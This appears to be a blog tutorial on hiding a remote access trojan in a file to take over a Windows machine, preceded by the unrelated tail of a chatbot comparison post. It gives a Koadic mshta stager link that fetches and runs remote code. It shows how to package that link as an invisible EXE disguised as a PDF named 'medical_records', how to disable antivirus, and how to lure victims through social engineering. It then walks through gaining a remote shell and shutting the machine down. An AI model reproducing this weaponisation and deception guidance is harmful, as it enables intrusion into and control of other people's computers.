Each model excels in different arenas. Bard’s YouTube prowess, image analysis, and map utilization shine, while ChatGPT’s prowess with text-based data, summarization skills, and limited website insights carve its niche.

In essence, Bard embodies the spirit of a dynamic digital assistant equipped with multimedia savvy, while ChatGPT leans toward a sophisticated, multi-talented information guru. Both are impressive in their own right, complementing diverse data tasks with their distinct capabilities. The real magic lies in understanding their specialties and leveraging their strengths to amplify problem-solving and information retrieval in various scenarios.

The Gray Area is a collection of great cybersecurity and computer science posts. Become a writer for The Gray Area by filling out this form! To get updates whenever The Gray Area publishes an article, check out our Twitter page, @TGAonMedium.

The Gray Area

The AI Clash: ChatGPT vs. Gemini Pro — Choosing the Ideal Model for Your Needs was originally published in The Gray Area on Medium, where people are continuing the conversation by highlighting and responding to this story.

Disclaimer:

All information, techniques, and tools described in this write-up are for educational purposes only. Use anything in this write-up at your discretion; I cannot be held responsible for any damages caused to any systems or yourselves legally. Using all tools and techniques described in this write-up for attacking individuals or organizations without their prior consent is highly illegal. You must obey all applicable local, state, and federal laws. I assume and accept no liability and will not be responsible for any misuse or damage caused by using the information herein.

Lab Setup

• VirtualBox
• Windows 10 VM (Victim)
• Kali Linux VM (Attacker)

Koadic Setup

Run the following commands to install and start Koadic in Kali Linux.

sudo apt install koadic

sudo koadic 

Type ‘help’ and press Enter, and it will provide you with a list of available commands and their descriptions to assist you in using the Koadic framework effectively.

The mshta stager in Koadic is a technique that utilizes Microsoft’s HTML Application (HTA) technology to execute malicious code on a target Windows system, often as part of an initial payload to establish a foothold for further exploitation.

The mshta stager is ready to launch by typing ‘run’ on the Koadic command line.

To perform an attack, you need to transmit the payload link (e.g., mshta http://10.60.0.7:9999/pEHa7) to the target.

Once the target triggers the mshta link, it grants you complete access to the Windows system. In practical scenarios, the command is typically executed by another program or application.

Let’s explore the process of creating an executable (EXE) file containing the mshta link, utilizing the “Bat To Exe Converter” software installed on my Windows machine.

Type ‘start’ and paste the mshta link into the “Bat To Exe Converter” terminal.

Click the Save icon. Name the file ‘test’ and save the file in batch (BAT) format.

We have now created the BAT file that we will later convert into an EXE and mask as a PDF.

Convert the PDF Image (PNG) to an Icon (ICO) file.

To change how the malicious file will appear from the victim’s perspective, we will use a PDF icon to mask the file.

Convert a PDF icon PNG file into an ICO file using Cloudconvert. I just went on Google and downloaded a simple PDF icon image and saved it as a PNG file.

Using PNG to ICO Converter, click Select File → From Computer.

Select the PDF PNG image → Click Open.

Click Convert.

Click Download. We now have the PDF ICO file we will use to help mask the EXE file.

Turn off Real-time protection.

Before continuing, for demonstration purposes, I turned off Real-time protection to prevent issues creating EXE payload onto the Windows machine.

If we don’t disable Real-time protection, then Windows Security will detect and eliminate the EXE payload file, as shown below. So, for the educational purposes of showing how this technique is performed, we will disable Real-time protection.

Creating the EXE Payload Masked as a PDF

Back in the “Bat To Exe Converter” software, check the Icon box and click the three dots.

Select the PDF ICO file and click Open.

Click the “Exe-Format” drop-down menu and select ‘32-bit Windows (invisible)’ which will allow the program to run without a pop-up window when the victim clicks on the file. So, when the victim clicks on the malicious file, it will appear as if nothing has happened.

Create the EXE file by clicking on ‘Convert’ and saving the EXE file name as ‘medical_records.’

With the EXE file housing the malicious payload link (mshta http://10.60.0.7:9999/pEHa7) successfully generated and masked as a medical record PDF document, our objective is to entice the targeted individual into running this file through social engineering.

This could be achieved through methods such as crafting convincing emails, disguising the file as a seemingly harmless document or application, or exploiting trust to encourage the victim to click on the file. The ultimate goal is to trick the victim into running the EXE file, which will trigger the malicious payload and potentially grant you unauthorized access to their Windows system.

Executing the Payload and Gaining Access

For demonstration purposes, we will pretend the social engineering has already been done, and the victim clicks on the medical record PDF document.

When the victim double clicks on the ‘medical_records’ file, nothing happens, and nothing pops up.

If we go back to Koadic in Kali Linux, we can see that a connection was made to the Windows 10 victim machine.

We can use the “zombies” command in Koadic to view the IP address, status, and sessions of a compromised Windows machine.

Using the “cmdshell 0” command in Koadic, we can gain access to the Windows victim machine command prompt.

We now have complete control over the victim’s machine. If I enter the “dir” command, the victim’s files will be displayed.

The command “shutdown -s -t 60” is used to schedule a system shutdown on a Windows computer. It initiates a shutdown operation with a delay of 60 seconds (1 minute). Here’s what each part of the command means:

So, with this command, we can shut down the victim’s machine, which will take effect after a 60-second countdown. You can cancel the shutdown during the countdown by running the “shutdown -a” command.

shutdown -s -t 60

After the victim’s machine shuts down, a “Timed out” message appears in Koadic.

We can exit Koadic with Ctrl + C.

Conclusion

In conclusion, that’s how a RAT is hidden inside a file and used to hack a Windows system. It’s a straightforward and informative process.

Thank you for reading this article. I hope that you have found this information provided to be valuable and helpful.

Follow me for more articles.

Also, don’t hesitate to leave feedback or suggestions for future topics. Thanks again for your interest and support!

The Gray Area is a collection of great cybersecurity and computer science posts. Become a writer for The Gray Area by filling out this form! To get updates whenever The Gray Area publishes an article, check out our Twitter page, @TGAonMedium.

The Gray Area

Concealing a RAT Within a File to Compromise a Windows System was originally published in The Gray Area on Medium, where people are continuing the conversation by highlighting and responding to this story.